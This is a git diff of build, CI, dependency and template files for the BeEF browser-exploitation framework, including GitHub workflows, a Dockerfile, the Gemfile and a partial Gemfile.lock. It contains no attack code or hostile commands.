* Confirm the problem and find the affected versions.
|
||||
* Audit code to find any potential similar problems.
|
||||
* Prepare fixes
|
||||
64
.github/ISSUE_TEMPLATE.md
vendored
64
.github/ISSUE_TEMPLATE.md
vendored
@@ -1,49 +1,31 @@
|
||||
Verify first that your issue/request has not been posted previously:
|
||||
## First Steps
|
||||
|
||||
* https://github.com/beefproject/beef/issues
|
||||
* https://github.com/beefproject/beef/wiki/FAQ
|
||||
1. Confirm that your issue has not been posted previously by searching here: https://github.com/beefproject/beef/issues
|
||||
2. Confirm that the wiki does not contain the answers you seek: https://github.com/beefproject/beef/wiki
|
||||
3. Check the FAQ: https://github.com/beefproject/beef/wiki/FAQ
|
||||
4. BeEF Version:
|
||||
5. Ruby Version:
|
||||
6. Browser Details (e.g. Chrome v81.0):
|
||||
7. Operating System (e.g. OSX Catalina):
|
||||
|
||||
Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/beef-0.4.7.1).
|
||||
## Configuration
|
||||
|
||||
1. Have you made any changes to your BeEF configuration? Yes/No
|
||||
2. Have you enabled or disabled any BeEF extensions? Yes/No
|
||||
|
||||
#### Environment
|
||||
## Steps to Reproduce
|
||||
|
||||
What version/revision of BeEF are you using?
|
||||
1. (eg. I ran install script, which ran fine)
|
||||
2. (eg. when launching console with './beef' I get an error as follows: <error here>)
|
||||
3. (eg. beef does not launch)
|
||||
|
||||
On what version of Ruby?
|
||||
## How to enable and capture detailed logging
|
||||
|
||||
On what browser?
|
||||
1. Edit `config.yaml` in the root directory
|
||||
* If using Kali **beef-xss** the root dir will be `/usr/share/beef-xss`
|
||||
2. Update `client_debug` to `true`
|
||||
3. Retrieve browser logs from your browser's developer console (Ctrl + Shift + I or F12 depending on browser)
|
||||
4. Retrieve your server-side logs from `~/.beef/beef.log`
|
||||
* If using **beef-xss** logs found with `journalctl -u beef-xss`
|
||||
|
||||
On what operating system?
|
||||
|
||||
|
||||
#### Configuration
|
||||
|
||||
Are you using a non-default configuration?
|
||||
|
||||
Have you enabled or disabled any BeEF extensions?
|
||||
|
||||
|
||||
#### Summary
|
||||
|
||||
Please provide a summary of the issue.
|
||||
|
||||
|
||||
#### Expected Behaviour
|
||||
|
||||
What was the expected result?
|
||||
|
||||
|
||||
#### Actual Behaviour
|
||||
|
||||
What was the actual result?
|
||||
|
||||
|
||||
#### Steps to Reproduce
|
||||
|
||||
Please provide steps to reproduce this issue.
|
||||
|
||||
|
||||
#### Additional Information
|
||||
|
||||
Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be enabled by specifying `debug: true` in the `config.yaml` configuration file.
|
||||
**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**
|
||||
|
||||
20
.github/PULL_REQUEST_TEMPLATE.md
vendored
Normal file
20
.github/PULL_REQUEST_TEMPLATE.md
vendored
Normal file
@@ -0,0 +1,20 @@
|
||||
# Pull Request
|
||||
|
||||
Thanks for submitting a PR! Please fill in this template where appropriate:
|
||||
|
||||
## Category
|
||||
*e.g. Bug, Module, Extension, Core Functionality, Documentation, Tests*
|
||||
|
||||
## Feature/Issue Description
|
||||
**Q:** Please give a brief summary of your feature/fix
|
||||
**A:**
|
||||
|
||||
**Q:** Give a technical rundown of what you have changed (if applicable)
|
||||
**A:**
|
||||
|
||||
## Test Cases
|
||||
**Q:** Describe your test cases, what you have covered and if there are any use cases that still need addressing.
|
||||
**A:**
|
||||
|
||||
## Wiki Page
|
||||
*If you are adding a new feature that is not easily understood without context, please draft a section to be added to the Wiki below.*
|
||||
9
.github/SECURITY.md
vendored
Normal file
9
.github/SECURITY.md
vendored
Normal file
@@ -0,0 +1,9 @@
|
||||
send security bug reports to security@beefproject.com
|
||||
|
||||
**A security report should include:**
|
||||
|
||||
1. Description of the problem (what it is, what's the impact)
|
||||
|
||||
2. Technical steps to replicate it (commands / screenshots)
|
||||
|
||||
3. Actionable fix/recommendations to mitigate the issue
|
||||
25
.github/dependabot.yml
vendored
Normal file
25
.github/dependabot.yml
vendored
Normal file
@@ -0,0 +1,25 @@
|
||||
version: 2
|
||||
updates:
|
||||
- package-ecosystem: npm
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: daily
|
||||
open-pull-requests-limit: 10
|
||||
ignore:
|
||||
- dependency-name: jsdoc-to-markdown
|
||||
versions:
|
||||
- 7.0.0
|
||||
- package-ecosystem: bundler
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: daily
|
||||
open-pull-requests-limit: 10
|
||||
ignore:
|
||||
- dependency-name: rubocop
|
||||
versions:
|
||||
- 1.10.0
|
||||
- 1.11.0
|
||||
- 1.12.0
|
||||
- 1.12.1
|
||||
- 1.9.0
|
||||
- 1.9.1
|
||||
72
.github/workflows/codeql.yml
vendored
Normal file
72
.github/workflows/codeql.yml
vendored
Normal file
@@ -0,0 +1,72 @@
|
||||
# For most projects, this workflow file will not need changing; you simply need
|
||||
# to commit it to your repository.
|
||||
#
|
||||
# You may wish to alter this file to override the set of languages analyzed,
|
||||
# or to provide custom queries or build logic.
|
||||
#
|
||||
# ******** NOTE ********
|
||||
# We have attempted to detect the languages in your repository. Please check
|
||||
# the `language` matrix defined below to confirm you have the correct set of
|
||||
# supported CodeQL languages.
|
||||
#
|
||||
name: "CodeQL"
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ master ]
|
||||
pull_request:
|
||||
# The branches below must be a subset of the branches above
|
||||
branches: [ master ]
|
||||
schedule:
|
||||
- cron: '36 1 * * 0'
|
||||
|
||||
jobs:
|
||||
analyze:
|
||||
name: Analyze
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
actions: read
|
||||
contents: read
|
||||
security-events: write
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
language: [ 'javascript', 'ruby' ]
|
||||
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
|
||||
# Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
|
||||
# Initializes the CodeQL tools for scanning.
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v2
|
||||
with:
|
||||
languages: ${{ matrix.language }}
|
||||
# If you wish to specify custom queries, you can do so here or in a config file.
|
||||
# By default, queries listed here will override any specified in a config file.
|
||||
# Prefix the list here with "+" to use these queries and those in the config file.
|
||||
|
||||
# Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
|
||||
queries: security-extended,security-and-quality
|
||||
|
||||
|
||||
# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
|
||||
# If this step fails, then you should remove it and run the build manually (see below)
|
||||
# - name: Autobuild
|
||||
# uses: github/codeql-action/autobuild@v2
|
||||
|
||||
# ℹ️ Command-line programs to run using the OS shell.
|
||||
# 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
|
||||
|
||||
# If the Autobuild fails above, remove it and uncomment the following three lines.
|
||||
# modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.
|
||||
|
||||
# - run: |
|
||||
# echo "Run, Build Application using script"
|
||||
# ./location_of_script_within_repo/buildscript.sh
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v2
|
||||
59
.github/workflows/github_actions.yml
vendored
Normal file
59
.github/workflows/github_actions.yml
vendored
Normal file
@@ -0,0 +1,59 @@
|
||||
name: 'BrowserStack Test'
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
branches: [ master ]
|
||||
|
||||
jobs:
|
||||
approve:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Approve
|
||||
run: echo For security reasons, all pull requests need to be approved first before running any automated CI.
|
||||
|
||||
ubuntu-job:
|
||||
name: 'BrowserStack Test on Ubuntu'
|
||||
runs-on: ubuntu-latest # Can be self-hosted runner also
|
||||
environment:
|
||||
name: Integrate Pull Request
|
||||
env:
|
||||
GITACTIONS: true
|
||||
steps:
|
||||
|
||||
- name: 'BrowserStack Env Setup' # Invokes the setup-env action
|
||||
uses: browserstack/github-actions/setup-env@master
|
||||
with:
|
||||
username: ${{ secrets.BROWSERSTACK_USERNAME }}
|
||||
access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }}
|
||||
|
||||
- name: 'BrowserStack Local Tunnel Setup' # Invokes the setup-local action
|
||||
uses: browserstack/github-actions/setup-local@master
|
||||
with:
|
||||
local-testing: start
|
||||
local-identifier: random
|
||||
|
||||
- name: 'Checkout the repository'
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
ref: ${{ github.event.pull_request.head.sha }}
|
||||
fetch-depth: 2
|
||||
|
||||
- name: 'Setting up Ruby'
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: 3.0.3 # Not needed with a .ruby-version file
|
||||
|
||||
- name: 'Build and run tests'
|
||||
run: |
|
||||
sudo apt update
|
||||
sudo apt install libcurl4 libcurl4-openssl-dev
|
||||
bundle config unset --local without
|
||||
bundle config set --local with 'test' 'development'
|
||||
bundle install
|
||||
bundle exec rake browserstack --trace
|
||||
|
||||
- name: 'BrowserStackLocal Stop' # Terminating the BrowserStackLocal tunnel connection
|
||||
uses: browserstack/github-actions/setup-local@master
|
||||
with:
|
||||
local-testing: stop
|
||||
35
.github/workflows/stale.yml
vendored
Normal file
35
.github/workflows/stale.yml
vendored
Normal file
@@ -0,0 +1,35 @@
|
||||
# This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time.
|
||||
#
|
||||
# You can adjust the behavior by modifying this file.
|
||||
# For more information, see:
|
||||
# https://github.com/actions/stale
|
||||
name: Mark stale issues and pull requests
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '5 * * * *'
|
||||
|
||||
jobs:
|
||||
stale:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
pull-requests: write
|
||||
|
||||
steps:
|
||||
- uses: actions/stale@v5
|
||||
with:
|
||||
repo-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
days-before-stale: 7
|
||||
days-before-pr-stale: 14
|
||||
days-before-close: 7
|
||||
days-before-pr-close: 14
|
||||
stale-issue-message: 'This issue as been marked as stale due to inactivity and will be closed in 7 days'
|
||||
stale-pr-message: 'Stale pull request message'
|
||||
stale-issue-label: 'Stale'
|
||||
stale-pr-label: 'no-pr-activity'
|
||||
exempt-issue-labels: 'Critical, High, Low, Medium, Review, Backlog'
|
||||
exempt-milestones: true
|
||||
exempt-draft-pr: true
|
||||
start-date: '2022-06-15'
|
||||
24
.gitignore
vendored
24
.gitignore
vendored
@@ -1,16 +1,30 @@
|
||||
### BeEF ###
|
||||
beef.db
|
||||
beef.log
|
||||
test/msf-test
|
||||
extensions/admin_ui/media/javascript-min/
|
||||
custom-config.yaml
|
||||
.DS_Store
|
||||
.gitignore
|
||||
.rvmrc
|
||||
beef.log
|
||||
|
||||
*.lock
|
||||
|
||||
extensions/metasploit/msf-exploits.cache
|
||||
|
||||
# ruby debugging
|
||||
.byebug_history
|
||||
|
||||
# Bundler
|
||||
/.bundle
|
||||
/vendor
|
||||
|
||||
#simplecov
|
||||
coverage/
|
||||
|
||||
# BrowserStack
|
||||
local.log
|
||||
|
||||
# The following lines were created by https://www.gitignore.io
|
||||
|
||||
### Linux ###
|
||||
@@ -104,3 +118,11 @@ $RECYCLE.BIN/
|
||||
|
||||
test/thirdparty/msf/unit/.byebug_history
|
||||
/load
|
||||
|
||||
### JSDoc ###
|
||||
# Dependency directories
|
||||
node_modules/
|
||||
|
||||
# Generated files
|
||||
out/
|
||||
doc/rdoc/
|
||||
|
||||
4
.rspec
Normal file
4
.rspec
Normal file
@@ -0,0 +1,4 @@
|
||||
--format documentation
|
||||
--color
|
||||
--require spec_helper
|
||||
-I .
|
||||
24
.rubocop.yml
24
.rubocop.yml
@@ -4,21 +4,39 @@ AllCops:
|
||||
- 'tmp/**/*'
|
||||
- 'tools/**/*'
|
||||
- 'doc/**/*'
|
||||
TargetRubyVersion: 2.4
|
||||
TargetRubyVersion: 3.0
|
||||
NewCops: enable
|
||||
|
||||
Layout/LineLength:
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
Metrics/AbcSize:
|
||||
Enabled: false
|
||||
|
||||
Metrics/BlockLength:
|
||||
Enabled: false
|
||||
|
||||
Metrics/ClassLength:
|
||||
Enabled: false
|
||||
Metrics/LineLength:
|
||||
Enabled: false
|
||||
|
||||
Metrics/MethodLength:
|
||||
Enabled: false
|
||||
|
||||
Metrics/ModuleLength:
|
||||
Enabled: false
|
||||
|
||||
Metrics/PerceivedComplexity:
|
||||
Enabled: false
|
||||
|
||||
Metrics/CyclomaticComplexity:
|
||||
Enabled: false
|
||||
|
||||
Naming/ClassAndModuleCamelCase:
|
||||
Enabled: false
|
||||
|
||||
Style/FrozenStringLiteralComment:
|
||||
Enabled: false
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: false
|
||||
|
||||
@@ -1 +1 @@
|
||||
2.5.3
|
||||
3.0.3
|
||||
|
||||
23
.travis.yml
23
.travis.yml
@@ -1,23 +0,0 @@
|
||||
language: ruby
|
||||
rvm:
|
||||
- 2.4.0
|
||||
- 2.5.0
|
||||
- 2.6.0
|
||||
env:
|
||||
- "BEEF_TEST=true"
|
||||
notifications:
|
||||
email:
|
||||
recipients:
|
||||
- wade@bindshell.net
|
||||
on_success: always
|
||||
on_failure: always
|
||||
addons:
|
||||
apt:
|
||||
packages:
|
||||
- libsqlite3-dev
|
||||
- build-essential
|
||||
- patch
|
||||
- ruby-dev
|
||||
- zlib1g-dev
|
||||
- liblzma-dev
|
||||
- libcurl4-openssl-dev
|
||||
49
BeEF.postman_environment.json
Normal file
49
BeEF.postman_environment.json
Normal file
@@ -0,0 +1,49 @@
|
||||
{
|
||||
"id": "3b5f29e6-c8eb-4d23-bf52-c01255f22f08",
|
||||
"name": "BeEF",
|
||||
"values": [
|
||||
{
|
||||
"key": "hostname",
|
||||
"value": "127.0.0.1",
|
||||
"enabled": true
|
||||
},
|
||||
{
|
||||
"key": "username",
|
||||
"value": "beef",
|
||||
"enabled": true
|
||||
},
|
||||
{
|
||||
"key": "password",
|
||||
"value": "beef",
|
||||
"enabled": true
|
||||
},
|
||||
{
|
||||
"key": "token",
|
||||
"value": "",
|
||||
"enabled": true
|
||||
},
|
||||
{
|
||||
"key": "session",
|
||||
"value": "",
|
||||
"enabled": true
|
||||
},
|
||||
{
|
||||
"key": "module_id",
|
||||
"value": "",
|
||||
"enabled": true
|
||||
},
|
||||
{
|
||||
"key": "cmd_id",
|
||||
"value": "",
|
||||
"enabled": true
|
||||
},
|
||||
{
|
||||
"key": "dnsrule_id",
|
||||
"value": "",
|
||||
"enabled": true
|
||||
}
|
||||
],
|
||||
"_postman_variable_scope": "environment",
|
||||
"_postman_exported_at": "2020-01-03T06:00:29.827Z",
|
||||
"_postman_exported_using": "Postman/7.14.0"
|
||||
}
|
||||
63
Dockerfile
Normal file
63
Dockerfile
Normal file
@@ -0,0 +1,63 @@
|
||||
###########################################################################################################
|
||||
###########################################################################################################
|
||||
## ##
|
||||
## Please read the Wiki Installation section on set-up using Docker prior to building this container. ##
|
||||
## BeEF does NOT allow authentication with default credentials. So please, at the very least ##
|
||||
## change the username:password in the config.yaml file to something secure that is not beef:beef ##
|
||||
## before building or you will to denied access and have to rebuild anyway. ##
|
||||
## ##
|
||||
###########################################################################################################
|
||||
###########################################################################################################
|
||||
|
||||
# ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------
|
||||
FROM ruby:2.7.5-alpine AS builder
|
||||
LABEL maintainer="Beef Project: github.com/beefproject/beef"
|
||||
|
||||
# Install gems in parallel with 4 workers to expedite build process.=
|
||||
ARG BUNDLER_ARGS="--jobs=4"
|
||||
|
||||
# Set gemrc config to install gems without Ruby Index (ri) and Ruby Documentation (rdoc) files
|
||||
RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc
|
||||
|
||||
COPY . /beef
|
||||
|
||||
# Add bundler/gem dependencies and then install
|
||||
RUN apk add --no-cache git curl libcurl curl-dev ruby-dev libffi-dev make g++ gcc musl-dev zlib-dev sqlite-dev && \
|
||||
bundle install --gemfile=/beef/Gemfile $BUNDLER_ARGS && \
|
||||
# Temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
rm -rf /usr/local/bundle/cache
|
||||
|
||||
WORKDIR /beef
|
||||
|
||||
# So we don't need to run as root
|
||||
RUN chmod -R a+r /usr/local/bundle
|
||||
# ------------------------------------- End of Builder 0 -------------------------------------------------
|
||||
|
||||
|
||||
# ---------------------------- Start of Builder 1 - Final Build ------------------------------------------
|
||||
FROM ruby:2.7.5-alpine
|
||||
LABEL maintainer="Beef Project: github.com/beefproject/beef"
|
||||
|
||||
# Create service account to run BeEF
|
||||
RUN adduser -h /beef -g beef -D beef
|
||||
|
||||
COPY --chown=1000:1000 . /beef
|
||||
|
||||
# Use gemset created by the builder above
|
||||
COPY --from=builder /usr/local/bundle /usr/local/bundle
|
||||
|
||||
# Install BeEF's runtime dependencies
|
||||
RUN apk add --no-cache curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses automake libtool bison nodejs
|
||||
|
||||
WORKDIR /beef
|
||||
|
||||
# Ensure we are using our service account by default
|
||||
USER beef
|
||||
|
||||
# Expose UI, Proxy, WebSocket server, and WebSocketSecure server
|
||||
EXPOSE 3000 6789 61985 61986
|
||||
|
||||
HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "curl", "-fS", "localhost:3000" ]
|
||||
|
||||
ENTRYPOINT ["/beef/beef"]
|
||||
# ------------------------------------- End of Builder 1 -------------------------------------------------
|
||||
61
Gemfile
61
Gemfile
@@ -1,44 +1,30 @@
|
||||
# BeEF's Gemfile
|
||||
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
#gem 'simplecov', require: false, group: :test
|
||||
|
||||
gem 'net-smtp', require: false
|
||||
|
||||
gem 'eventmachine'
|
||||
gem 'thin'
|
||||
gem 'sinatra', '~> 2.0'
|
||||
gem 'rack', '~> 2.0'
|
||||
gem 'rack-protection', '~> 2.0'
|
||||
gem 'sinatra', '>= 2.2.0'
|
||||
gem 'rack', '>= 2.2.4'
|
||||
gem 'rack-protection', '>= 2.2.0'
|
||||
gem 'em-websocket' # WebSocket support
|
||||
gem 'uglifier'
|
||||
gem 'uglifier', '>= 4.2.0'
|
||||
gem 'mime-types'
|
||||
gem 'execjs'
|
||||
gem 'ansi'
|
||||
gem 'term-ansicolor', :require => 'term/ansicolor'
|
||||
gem 'dm-core'
|
||||
gem 'json'
|
||||
gem 'data_objects'
|
||||
gem 'rubyzip', '>= 1.2.2'
|
||||
gem 'espeak-ruby', '>= 1.0.4' # Text-to-Voice
|
||||
gem 'nokogiri', '>= 1.7'
|
||||
gem 'rake'
|
||||
|
||||
# SQLite support
|
||||
group :sqlite do
|
||||
gem 'dm-sqlite-adapter'
|
||||
end
|
||||
|
||||
# PostgreSQL support
|
||||
group :postgres do
|
||||
#gem dm-postgres-adapter
|
||||
end
|
||||
|
||||
# MySQL support
|
||||
group :mysql do
|
||||
#gem dm-mysql-adapter
|
||||
end
|
||||
gem 'rake', '>= 13.0'
|
||||
gem 'otr-activerecord', '>= 1.4.2'
|
||||
gem 'sqlite3'
|
||||
gem 'rubocop', '~> 1.36.0', require: false
|
||||
|
||||
# Geolocation support
|
||||
group :geoip do
|
||||
@@ -47,7 +33,6 @@ end
|
||||
|
||||
gem 'parseconfig'
|
||||
gem 'erubis'
|
||||
gem 'dm-migrations'
|
||||
|
||||
# Metasploit Integration extension
|
||||
group :ext_msf do
|
||||
@@ -57,17 +42,19 @@ end
|
||||
|
||||
# Notifications extension
|
||||
group :ext_notifications do
|
||||
gem 'unf'
|
||||
gem 'domain_name', '>= 0.5.20190701'
|
||||
# Pushover
|
||||
gem 'rushover'
|
||||
# Slack
|
||||
gem 'slack-notifier'
|
||||
# Twitter
|
||||
gem 'twitter', '>= 5.0.0'
|
||||
gem 'twitter', '>= 7.0.0'
|
||||
end
|
||||
|
||||
# DNS extension
|
||||
group :ext_dns do
|
||||
gem 'rubydns', '~> 0.7.3'
|
||||
gem 'async-dns'
|
||||
end
|
||||
|
||||
# QRcode extension
|
||||
@@ -77,25 +64,27 @@ end
|
||||
|
||||
# For running unit tests
|
||||
group :test do
|
||||
if ENV['BEEF_TEST']
|
||||
gem 'test-unit'
|
||||
gem 'test-unit-full'
|
||||
gem 'rspec'
|
||||
gem 'rdoc'
|
||||
gem 'rdoc'
|
||||
# curb gem requires curl libraries
|
||||
# sudo apt-get install libcurl4-openssl-dev
|
||||
gem 'curb'
|
||||
# selenium-webdriver 3.x is incompatible with Firefox version 48 and prior
|
||||
gem 'selenium'
|
||||
gem 'selenium-webdriver', '~> 2.53.4'
|
||||
# gem 'selenium' # Requires old version of selenium which is no longer available
|
||||
gem 'geckodriver-helper'
|
||||
gem 'selenium-webdriver'
|
||||
# nokogirl is needed by capybara which may require one of the below commands
|
||||
# sudo apt-get install libxslt-dev libxml2-dev
|
||||
# sudo port install libxml2 libxslt
|
||||
gem 'capybara'
|
||||
# RESTful API tests/generic command module tests
|
||||
gem 'rest-client', '>= 2.0.1'
|
||||
gem 'byebug'
|
||||
end
|
||||
gem 'rest-client', '>= 2.1.0'
|
||||
gem 'irb'
|
||||
gem 'pry-byebug'
|
||||
gem "websocket-client-simple", "~> 0.6.0"
|
||||
gem "browserstack-local", "~> 1.4"
|
||||
end
|
||||
|
||||
source 'https://rubygems.org'
|
||||
|
||||
309
Gemfile.lock
Normal file
309
Gemfile.lock
Normal file
@@ -0,0 +1,309 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activemodel (7.0.3.1)
|
||||
activesupport (= 7.0.3.1)
|
||||
activerecord (7.0.3.1)
|
||||
activemodel (= 7.0.3.1)
|
||||
activesupport (= 7.0.3.1)
|
||||
activesupport (7.0.3.1)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
tzinfo (~> 2.0)
|
||||
addressable (2.8.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
ansi (1.5.0)
|
||||
archive-zip (0.12.0)
|
||||
io-like (~> 0.3.0)
|
||||
ast (2.4.2)
|
||||
async (1.30.3)
|
||||
console (~> 1.10)
|
||||
nio4r (~> 2.3)
|
||||
timers (~> 4.1)
|
||||
async-dns (1.3.0)
|
||||
async-io (~> 1.15)
|
||||
async-io (1.33.0)
|
||||
async
|
||||
browserstack-local (1.4.0)
|
||||
buftok (0.2.0)
|
||||
byebug (11.1.3)
|
||||
capybara (3.37.1)
|
||||
addressable
|
||||
matrix
|
||||
mini_mime (>= 0.1.3)
|
||||
nokogiri (~> 1.8)
|
||||
rack (>= 1.6.0)
|
||||
rack-test (>= 0.6.3)
|
||||
regexp_parser (>= 1.5, < 3.0)
|
||||
xpath (~> 3.2)
|
||||
childprocess (4.1.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.1.10)
|
||||
console (1.15.3)
|
||||
fiber-local
|
||||
curb (1.0.1)
|
||||
daemons (1.4.1)
|
||||
diff-lcs (1.5.0)
|
||||
domain_name (0.5.20190701)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0)
|
||||
equalizer (0.0.11)
|
||||
erubis (2.7.0)
|
||||
espeak-ruby (1.1.0)
|
||||
event_emitter (0.2.6)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.8.1)
|
||||
ffi (1.15.5)
|
||||
ffi-compiler (1.0.1)
|
||||
ffi (>= 1.0.0)
|
||||
rake
|
||||
fiber-local (1.0.0)
|
||||
geckodriver-helper (0.24.0)
|
||||
archive-zip (~> 0.7)
|
||||
hashie (5.0.0)
|
||||
hashie-forbidden_attributes (0.1.1)
|
||||
hashie (>= 3.0)
|
||||
http (4.4.1)
|
||||
addressable (~> 2.3)
|
||||
http-cookie (~> 1.0)
|
||||
http-form_data (~> 2.2)
|
||||
http-parser (~> 1.2.0)
|
||||
http-accept (1.7.0)
|
||||
http-cookie (1.0.5)
|
||||
domain_name (~> 0.5)
|
||||
http-form_data (2.3.0)
|
||||
http-parser (1.2.3)
|
||||
ffi-compiler (>= 1.0, < 2.0)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (1.12.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.5.11)
|
||||
io-like (0.3.1)
|
||||
irb (1.4.2)
|
||||
reline (>= 0.3.0)
|
||||
json (2.6.2)
|
||||
matrix (0.4.2)
|
||||
maxmind-db (1.1.1)
|
||||
memoizable (0.4.2)
|
||||
thread_safe (~> 0.3, >= 0.3.1)
|
||||
method_source (1.0.0)
|
||||
mime-types (3.4.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2022.0105)
|
||||
mini_mime (1.1.2)
|
||||
minitest (5.16.2)
|
||||
mojo_magick (0.6.7)
|
||||
msfrpc-client (1.1.2)
|
||||
msgpack (~> 1)
|
||||
msgpack (1.5.4)
|
||||
multipart-post (2.2.3)
|
||||
mustermann (3.0.0)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
naught (1.1.0)
|
||||
net-protocol (0.1.3)
|
||||
timeout
|
||||
net-smtp (0.3.2)
|
||||
net-protocol
|
||||
netrc (0.11.0)
|
||||
nio4r (2.5.8)
|
||||
nokogiri (1.13.8-x86_64-linux)
|
||||
racc (~> 1.4)
|
||||
otr-activerecord (2.1.1)
|
||||
activerecord (>= 4.0, < 7.1)
|
||||
hashie-forbidden_attributes (~> 0.1)
|
||||
parallel (1.22.1)
|
||||
parseconfig (1.1.2)
|
||||
parser (3.1.2.1)
|
||||
ast (~> 2.4.1)
|
||||
power_assert (2.0.1)
|
||||
pry (0.14.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.10.1)
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
psych (4.0.4)
|
||||
stringio
|
||||
public_suffix (4.0.7)
|
||||
qr4r (0.6.1)
|
||||
mojo_magick (~> 0.6.5)
|
||||
rqrcode_core (~> 0.1)
|
||||
racc (1.6.0)
|
||||
rack (2.2.4)
|
||||
rack-protection (3.0.2)
|
||||
rack
|
||||
rack-test (2.0.2)
|
||||
rack (>= 1.3)
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rdoc (6.4.0)
|
||||
psych (>= 4.0.0)
|
||||
regexp_parser (2.5.0)
|
||||
reline (0.3.1)
|
||||
io-console (~> 0.5)
|
||||
rest-client (2.1.0)
|
||||
http-accept (>= 1.7.0, < 2.0)
|
||||
http-cookie (>= 1.0.2, < 2.0)
|
||||
mime-types (>= 1.16, < 4.0)
|
||||
netrc (~> 0.8)
|
||||
rexml (3.2.5)
|
||||
rqrcode_core (0.2.0)
|
||||
rr (3.1.0)
|
||||
rspec (3.11.0)
|
||||
rspec-core (~> 3.11.0)
|
||||
rspec-expectations (~> 3.11.0)
|
||||
rspec-mocks (~> 3.11.0)
|
||||
rspec-core (3.11.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-expectations (3.11.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-mocks (3.11.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-support (3.11.0)
|
||||
rubocop (1.36.0)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.1.2.1)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.20.1, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 3.0)
|
||||
rubocop-ast (1.21.0)
|
||||
parser (>= 3.1.1.0)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby2_keywords (0.0.5)
|
||||
rubyzip (2.3.2)
|
||||
rushover (0.3.0)
|
||||
json
|
||||
rest-client
|
||||
selenium-webdriver (4.5.0)
|
||||
childprocess (>= 0.5, < 5.0)
|
||||
rexml (~> 3.2, >= 3.2.5)
|
||||
rubyzip (>= 1.2.2, < 3.0)
|
||||
websocket (~> 1.0)
|
||||
simple_oauth (0.3.1)
|
||||
sinatra (3.0.2)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.0.2)
|
||||
tilt (~> 2.0)
|
||||
slack-notifier (2.4.0)
|
||||
sqlite3 (1.5.3-x86_64-linux)
|
||||
stringio (3.0.2)
|
||||
sync (0.5.0)
|
||||
term-ansicolor (1.7.1)
|
||||
tins (~> 1.0)
|
||||
test-unit (3.5.5)
|
||||
power_assert
|
||||
test-unit-context (0.5.1)
|
||||
